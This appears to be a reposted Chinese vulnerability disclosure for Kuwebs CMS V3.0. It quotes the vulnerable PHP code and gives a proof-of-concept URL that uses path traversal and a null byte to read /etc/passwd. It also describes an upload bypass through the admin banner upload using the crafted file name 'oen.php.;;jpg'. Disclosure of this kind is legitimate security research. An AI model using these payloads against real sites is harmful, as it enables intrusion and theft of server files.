【Php】 Kuwebs CMS V3.0 多处漏洞 - 脚本漏洞

admin 2021年4月3日19:36:11评论47 views字数 53阅读0分10秒阅读模式

/*引:
Team:MakeBug
Author: Cfking
漏洞文件:inc/ajax.php
漏洞代码:
*/
header('Content-Type:text/html; charset=utf-8');
$absolutepath = $_GET['absolutepath'];
require_once($absolutepath.'inc/common.inc.php');
$sql = "update {$configTableHead}{$dbtable} set clicknum={$clicknum}+1 where id={$id}";
$result = $dbInstance->query($sql);
?>
 
$absolutepath参数直接获取GET传递的值没有任何过滤加入require_once!
这个包含的而且还是数据库配置文件!
POC
ajax.php?absolutepath=../../../../../../../../../../../etc/passwd%00.

其他问题:
 
/*---------------------------------------------------------------------------------------*/

function upload($form, $fileFormat) 
{
  //略
  $ext = explode(".", $filear["name"]);
  $ext = $ext[1];
  //设置保存文件名
  srand((double)microtime() * 1000000);
  $rnd = rand(100, 999);
  $name = date('U') + $rnd;
  $name = $name.".".$ext;
  //略
    @unlink($filear["tmp_name"]); //删除临时文件
  }
  return "../upload/file/".$name;
}
 
 //略 
?>
 
/*---------------------------------------------------------------------------------------*/

  function getext($filename) 
  {
    if ($filename == "") 
    {
      return ;
    }
 
    $ext = explode(".", $filename);
    return $this->ext = $ext[1];
 
  }
 
    function set_savename($savename = "") 
  {
    if ($savename == "")
     { // 如果未设置文件名,则生成一个随机文件名
        srand((double)microtime() * 1000000);
        $rnd = rand(100, 999);
        $name = date('U') + $rnd;
        $name = $name.".".$this->ext;
    } 
   //略 
 
/*---------------------------------------------------------------------------------------*/

这属于国际问题了:

利用方法:

后台-------基本设置-------banner配置---------上传----------Flash设置管理-------图片轮播
构造文件名:oen.php.;;jpg

文章来源于lcx.cc:【Php】 Kuwebs CMS V3.0 多处漏洞 - 脚本漏洞

相关推荐: 简单分析丝绸之路创始人如何被抓,FBI真的能透过TOR获取真实IP么?

昨天,丝绸之路创始人Ross William Ulbricht被伟大的美帝政府和谐了,我们来看看新闻 根据记者Brian Krebs个人网站“安全Krebs”上发布的法庭文件获知,Ulbricht因为“故意且明知,共谋,联合并同意……来范围美国的麻醉品法律”被…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:36:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Php】 Kuwebs CMS V3.0 多处漏洞 - 脚本漏洞https://cn-sec.com/archives/323832.html

发表评论

匿名网友 填写信息